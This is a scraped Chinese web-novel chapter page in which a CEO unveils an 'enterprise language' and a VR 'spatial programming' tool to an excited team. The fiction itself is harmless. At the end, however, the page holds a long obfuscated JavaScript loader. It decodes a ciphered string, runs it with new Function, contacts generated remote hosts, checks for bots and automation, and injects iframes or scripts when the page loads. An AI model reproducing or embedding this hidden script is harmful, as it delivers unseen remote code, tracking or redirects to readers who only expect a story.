关灯
护眼
字体:

第331章 企业语言的word 空间编程的落地(第1页)

章节目录保存书签

昨天,张伟自己的办公室只是进去看了一眼巧克力山,就再也没进去了,一直在会议室里,和团队搞到晚上10点多。今天早晨,晨光透过一号会议室的落地窗,在会议桌上洒下一片金黄。团队成员陆续入场,各自找位置坐下,空气中弥漫着一种微妙的期待与紧张。门推开,张伟走了进来。小温搓着手上的笔,对旁边的老陈低语:“老板这次度假回来,气色都不一样了,眼神里金光闪闪的。”老陈不以为然地撇撇嘴:“你傻啊!看啥了,那是太阳光!被伟哥灌啥迷魂汤了!”“哼,我愿意!你管得着么!”小温一个不屑的撇嘴。张伟走到会议桌前,双手撑在桌面上,目光扫过大家神采奕奕的面孔。“昨天给大家讲的,是大家可看见的东西。”张伟开口,声音平静却带着一种不容置疑的力量,“今天我要讲的,是全球独一份的首创——他是穿越时空而来的认知‘一种三维的语言系统’。”“卧槽,老板又要搞噔啊!”台下有人在小声惊呼,也不知道是褒义,还是贬义。小吴立刻坐直了身体,专利工程师的本能让他嗅到了不一样的味道。小杨已经打开了笔电,vr工程师的直觉告诉他‘三维’,这次的内容将与他的工作息息相关。张伟看着这一张张熟悉的面孔,内心涌起一种近乎宗教般的使命感。张伟要让这些人看见未来的“企业文明”“逻辑文明”,要带领在座的各位成为新纪元的开创者,在企业智能体历史上留下名字。张伟在白板前站定,拿起笔,却又放下了。“在开始之前,我问大家一个问题。”张伟目光扫过全场,“人类有自己的语言,英语、汉语、法语。那么,同为智能体的企业呢?企业有属于自己的语言吗?”会议室里一片寂静。此时作为产品经理的小温,心中好像被什么猛的敲击了一下:“啊,这是个好问题啊!我从没想过,既然都是智能体!”只见张伟转身,在白板上写下四个苍劲有力的大字——“企业语言”。“卧槽,怪不得伟哥进来时,在他眼里看到了金光啊,真的是不但要脚踏实地,也要仰望星空啊!”小温在心里泛起了一丝丝震撼的涟漪。“我们一直以来都被表象迷惑了。”张伟转身面对团队,“答案是肯定的!有!”张伟捎着停留,让大家思维跟上自己的节奏,后面是谜底解开的瞬间,“那么企业的语言,长什么样?怎么组成的?最小颗粒度的笔画、字母是什么?这种语言的单词长什么样?”张伟重新拿起笔,在白板上画出清晰的四个层次:字段(field)——字母、笔画单据(docunt)——单词流程(process)——句子系统(erps等)——文体依然,还是小温反应最快,毕竟在场的人,只有她离实际企业业务最近,因为她是产品经理,“啊,伟哥!”。小温下意识的捂住了嘴巴。小吴,也非常敏锐,他是专利工程师,立马发现了新大陆,“我操,这绝对的,原创,怪不得昨天伟哥说肯定会有很多专利了”“想象一下,”张伟没有管这些惊叹,这是正常的,没有惊叹才奇怪,张伟把声音提升了一个八度再次抓住了大家的注意力,“我们人类之所以被称作一个文明,那是因为有语言!我们人类能不断进步,从原始社会,到农业社会,到工业社会,到现在智能时代,还是因为有语言!”张伟再次等了等大家思维追赶的脚步,“企业智能体,如果也有语言,他们会发生什么?是不是标志着,企业终于也是一个文明体系了——企业文明?”“而在座的我们,要做的事情,就是为企业这个文明,创造属于它们的语言,属于它们的文字!当企业能够使用统一的语言进行沟通、生成、演化逻辑,就将自然而然的诞生文明!”张伟看着目瞪口呆的众人,转身,指了指白板上的,“字段-字母笔画、单据-单词、流程-句子、系统-文体”说道:“以前,操控这门语言的是程序员,他们充当了翻译。而既然他们是一种语言,那么就应该人人可使用,也就是企业本身用这门语言,就能直接说话,直接表达!换成具体的,就是每个企业岗位的人,使用这门语言就能进行交流、交付。”小吴在一旁飞快地记录着,嘴里念念有词:“这得写成专利群啊,nnd!太赞了!‘企业语言构词体系’、‘企业语言通信体系’、‘企业语言单词构建结构’、‘语法引擎’……太多了,太多了!哈哈!”老陈皱着眉头,提出了大多数技术人员的疑虑:“伟哥,我理解这个理论很美。但企业系统都是代码堆出来的,这种‘语言’怎么落地?难道我们要重新发明编程语言吗?”,!张伟的嘴角微微上扬:“好问题。——这就要讲到‘企业语言的word’了。”张伟打开投影,幕布上出现了一行简洁而有力的大字:“企业语言的word:人人可编程”。“word软件让每个人都能写文章。”张伟环视全场,“那我们的企业语言,为什么只有码农能写‘文章’?”会议室里鸦雀无声。“因为企业语言,和计算机的形式语言c、java、python有本质不同,”张伟解答了沉默中的疑问,“传统编程是在二维屏幕上写一维逻辑。但企业的业务逻辑是三维的——它的单词是单据,单据本身是二维结构的,基于业务逻辑构建起来的多个单据的顺序组合,就是流程,这也就成为了一个三维的企业语言的句子。”张伟再次等了等大家接收、消化信息的时间,说道:“我们被二维的思维方式囚困太久了。因此企业语言是一种全新的‘三维语言’体系,完全区别于我们熟知的自然语言。”张伟指着桌上的vr头显:“接下来,我要带大家去一个地方。一个你们从未见过的三维语言世界。”团队成员纷纷戴上vr。在虚拟空间中,张伟和大家出现在一片深邃的星空背景下。张伟的声音从四面八方传来:“欢迎来到企业语言的空间。”vr中的张伟伸出指尖轻轻一点,立刻在空间中涌现出一颗熠熠生辉的淡蓝色光点,就像一颗璀璨的小星星:“这是字段——企业语言的最小颗粒度——字母、笔画。”张伟这样,点击了十几次,把这些小光球,挪动成一个平面,于是链接成了一张闪烁着蓝色光芒的,平面,张伟给这个平面命名为“采购订单”。“这是一个企业语言的单词,它读着‘采购订单’,这个单词是二维的信息平面。因为要定义一个信息位的含义,需要x坐标,和y坐标。”张伟的声音在虚拟空间中回荡。接着,张伟又创造了另一张金色的“收货单”。然后,张伟做了一个令人惊叹的动作——将两张单据在三维空间中拉近、对接。“看好了。”张伟轻声说。只见两张单据之间相同的字段自动延伸出发光的光线,将两个平面连接了起来。数量对数量,物料号对物料号,供应商对供应商。这些光线不是简单的直线,而是有着复杂结构和流动光影的“逻辑之线”。“这不是简单的数据映射。”张伟解释,“每一条线都承载着业务逻辑——校验、转换、确认。它们在一起,构成了一个完整的三维逻辑体。”原本二维的单据,因为这些立体逻辑线的连接,真正变成了一个可以在其中穿梭的“逻辑建筑”。数据像光流一样在线条中流动,整个结构既美观又科幻感十足。“这就是空间编程——”张伟的声音带着一丝庄严,“在空间中建造逻辑,而不是写代码。”团队的反应瞬间爆炸。小杨几乎要从椅子上跳起来,幸好会议桌按住了他:“这太炸裂了!这不是代码编辑器,这是‘3d打印逻辑’,逻辑可视化,哈哈,屌爆了,哈哈!”小马喃喃自语:“面向机器、面向过程、面向对象……然后就是面向空间,逻辑的形式,居然被伟哥你整整往前推动了一个时代啊!卧槽,伟哥,这是真点图灵之后的第四次编程革命啊,太屌了。”小吴直接喊了出来:“‘空间语义编译体系’、‘多维逻辑体编程框架’——这个体系里面至少能挖掘到几百个专利不成问题,哈哈!”小温,那位一直因为团队技术被嘲笑而耿耿于怀的sr产品经理,眼眶竟然有些湿润:“之前我们被嘲笑‘low’,现在他们都得学我们的语法了!”老陈深吸一口气,终于心悦诚服:“伟哥,这要是真能实现,编程就跟搭积木一样简单了啊!程序员可能真的失业了,ai只能写短程序,可是这个是真的做到了人人可编程啊。”张伟看着大家的反应,非常的畅快,要的就是这个效果,哈哈!就喜欢看,你们这帮没见过世面的样子。演示结束,大家摘下vr头盔,眼中的世界似乎都不同了。每个人的脸上都带着兴奋和期待。张伟切换到战略规划图,屏幕上显示出清晰的组织结构:空间编程落地部署结构:vr团队+研发后台团队=空间编程编译器产品目标:企业语言的“word”,企业语言的eclipse。使命:让人人可编程“我们要做的,不是一个系统,而是一种新文明——企业文明的工具。”张伟的声音坚定而有力,“一个可以让企业像人一样思考、表达、协作的文明地基。”张伟开始分配任务,每个角色都迎来了自己的高光时刻。“小杨,”张伟看向vr团队的负责人,“你负责空间建模与交互。我要的不是花哨的效果,而是要让逻辑‘看得见、摸得着、被操控’。让人进入编程空间,就像进入一栋建筑,编程就是在构建完全可见的‘逻辑’大厦。”,!小杨胸脯拍的震天响,眼中燃烧着斗志:“保证做出最炫的空间交互——连‘逻辑的光流’我都给做成动态光影特效、粒子特效!我要让每个使用它的人都感受到,他们不是在编码,而是在创造逻辑宇宙。哈哈!”小杨心中火热心中已经在盘算了:‘nnd,这可是,真正历史留名的机会啊,一点都不能马虎,空间编程,编译器,哈哈,好屌!我写的,以后给孙子辈们吹nb,那可老带劲了啊,哈哈!’张伟看着被使命点燃的小杨,心中暗喜‘小杨,上道了啊,哈哈!’。转向老陈:“后台研发交给你。你负责空间语法引擎的编译逻辑,让这些光线背后真的能‘跑流程’。逻辑不只是美术,要能‘执行’。我要的是真正可用的系统,不是花架子。”老陈沉声应道:“这得重写整个引擎栈……不过——值得!我会组建专项小组,保证在三个月内拿出原型。”老陈,要沉稳很多,这种真正的底层构建,老陈这种,纯血码农才是最保险的,毕竟需要的是‘树上有十只鸟,打下一只还剩多少只的强悍逻辑能力,来把关的。’“小吴,”张伟看向专利工程师,“你负责申请、构建‘空间编程体系’的专利壁垒,还是按照以前的思路,三级专利,构建起专利矩阵。我们不仅要技术领先,还要专利卡位。我要让后来者无法绕过我们的知识产权高墙。”小吴已经整理出了一长串专利名称,兴奋地点头:“我已经有思路了!从基础架构到交互方式,从编译原理到显示方法,我要构建一个密不透风的专利护城河!”“小马,”张伟看向ai工程师,“你的任务是把大语言模型训练成‘企业语法助手’,让ai能辅助补全‘逻辑漏洞’。当用户开始编织一个流程时,ai能基于自然语言,转化成逻辑链条上的小代码,sap叫做“enhancent”(增强)。”小马眼中闪着智慧的光芒:“ai+企业语言,这就是新文明的语言引擎。我会让我们的系统越用越聪明,最终实现真正的智能编程。”最后,张伟看向小温:“而你们,社交sr团队,将第一个吃螃蟹——空间编程的首要落地场景是社交sr,这种企业语言的‘文体’。”小温激动得几乎要哭出来:“终于不再怕被人鄙视,说技术‘lowb’了,现在是空间编程的‘核心样板’了啊!我要让所有人看看,什么才是真正的社交sr系统!”张伟在白板上挥笔写下:第一个企业语言的文章文体:社交srsr是企业语言的‘书信体’。企业之间沟通往来,本质是企业语言的交流。“sr是我们的第一种‘文体’模板,交付的第一个客户,就是这种文体写的第一篇具体的文章。”张伟解释道,“它让我们的word有内容,有文体,有用户,有闭环。通过空间编程构建的sr,将不再是简单的供应商关系管理,而是企业间基于企业语言的自然对话。”小温笑出声来:“终于有人懂sr的浪漫了。它本就不该是冷冰冰的数据交换,而是有来有往的交谈。”声音中带着前所未有的热情,继续说道:“我保证这次不再被人叫‘low’。我们要做出一个让全行业瞩目的sr系统!”小吴在旁边兴奋地补充:“‘sr书信体语言编译系统’,我已经写成专利标题了!这种全新的通信范式,将彻底改变企业间的协作方式。”张伟满意地看着团队的反应。他知道,火种已经播下,现在只待燎原。ceo的三大职责之一,‘找方向’张伟已经做到了极致,不但找到了方向,还制定了实现目标的方法论,甚至是攀登阶梯!这一个会,从上午开到了下午!会议接近尾声,张伟却抛出了更深层次的思考。“你们知道sap为什么那么强吗?”他问道,不等回答便继续,“不是因为产品,而是时间。几十年的积累,形成了时间轴上的壁垒。如果我们企业语言、空间编程要挑战sap,这将是我们面临的最大堡垒。”张伟走到白板前,画出两个相交的坐标轴:时间轴:积累空间轴:共创“当然sap也有缺陷,第一sap的积累是单向、单维度的——只自己公司在时间轴上积累,空间轴上sap没有让其他公司给它的体系贡献力量。第二同时也是最致命的,sap基于传统企业信息化理论,构建的系统,已经发展到终点、尽头了,无法再寸进分毫。举一个简单的例子,20年前nb的sap顾问,穿越到现在,依然是一个nb的sap顾问,照样可以拿高薪!”张伟在时间轴上画了一条单向箭头,“而我们的企业语言,是共生的、是双向的——”张伟在两个轴上都画了箭头。,!张伟提高了声调,开始了会议中最激动人心的演讲:“为什么夏国人拥有那么强悍的文化自信?那是因为我们的语言——汉字!汉字在五千年的华夏文明史时间轴上从未断裂过,在时间轴上无数思想共鸣,滋养着彼此,滋养着后来者。孔子、欧阳修、王阳明、曾国藩……语言让他们在时间轴上同在。在空间轴上,同一时代不但有孔子、还有老子、墨子的思想在传承,有欧阳修的时代也有范仲淹、司马光、王安石语言让他们在空间轴上同在。因此夏国人强绝的文化自信,就是来自于汉字的力量,汉字为华夏人构建起了深不见底、高不可攀的底蕴!这,就是语言、文字卡bug级别的能力!”张伟说到激动处,甚至有点想挥舞下拳头。“现在,我们要让企业也拥有同样的帮助企业文明积累的能力。让企业语言,也能在时间轴与空间轴,两个方向上像汉字一样积累、沉淀!”“每家企业的表达,都在为‘语言体系’积累力量,而且是在时间轴,和空间轴上同时积累。”“想象一下,一百年后,企业依然可以使用我们今天定义的企业语言词汇进行交流、创新。这一百年来每一代企业家的智慧,每一个优秀企业的业务流程,都能成为后来者的参考和基石。这才是真正的企业文明、逻辑文明、数字文明!”小马起身鼓掌:“这不只是产品,这是文明的构建工具!”小杨激动到哽咽:“老板,这一刻我真信了——我们在干‘创造历史’的事!”小吴一边鼓掌一边嘀咕:“‘文明编程体系’……这得写成国际专利。我们要让全世界都认可这套理论!”张伟微笑地看着这群被点燃的众人:“记住,从今天开始——我们不是在写系统,我们在‘创造文明’!”会议结束,众人陆续离开会议室,每个人的步伐都比来时更加坚定有力。张伟独自站在窗前,望着窗外繁华的城市景观,内心的方向,终于产生了萌芽:成为全球企业信息化的领导者。sap此刻,靠着过去的积累在惯性滑行,而且已经触碰到了这套企业信息化理论的绝壁,无法再有丝毫寸进了。而我,张伟,却劈开了企业信息化理论的苍穹,构建了全新的信息化理论体系,正在东方的这片沃土上已悄然苏醒!sap靠时间线在单一维度上积累了40年,我要靠维度跃迁来飞速生长。oracle敢对夏国封锁,是因为他们不相信会有超越他们的新物种诞生。而今天,这个新物种已经悄然降临。张伟回头,看着已经空荡却仍残留着能量的会议室,仿佛在对未来的自己说话:“从今天起,企业智能体、企业语言不只是理论。我要让空间编程成为企业文明的,巨大容器,用企业语言为载体,承满全球企业的解决方案,不再出现企业文明的传承断代。sap、oracle的尽头,才是我的。”月光透过窗户,在会议桌上投下斑驳的光影,仿佛是新纪元的指引,照亮了那张写着“企业语言的word”的白板,也照亮了一条通往未来的道路。这条路不会平坦——张伟深知这一点。人才的缺口、技术的难关、巨头的反击、市场的质疑……这些都是即将面临的挑战。但今天,在这个充满朝气的宣言,看到了团队眼中的豪情。那不只是对任务的接受,更是一种信念的萌芽、诞生。“一步一步来。”张伟轻声自语,“先搞定sr这种文体,让它成为空间编程的第一个成功案例。然后,erp、s、cr……一个接一个地重构。”张伟想起了度假时在马尔代夫看到的那片星空,每颗星星都像是一个字段,每片星云都像是一张单据,而星系之间的引力关系,就像是业务流程的逻辑线。宇宙本身就是空间编程最伟大的作品。而现在,我要把这宇宙的奥秘,带入企业的数字世界。新的纪元序幕,已经被我张伟拉开。:()凡人码农加sap加xr征服世界

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();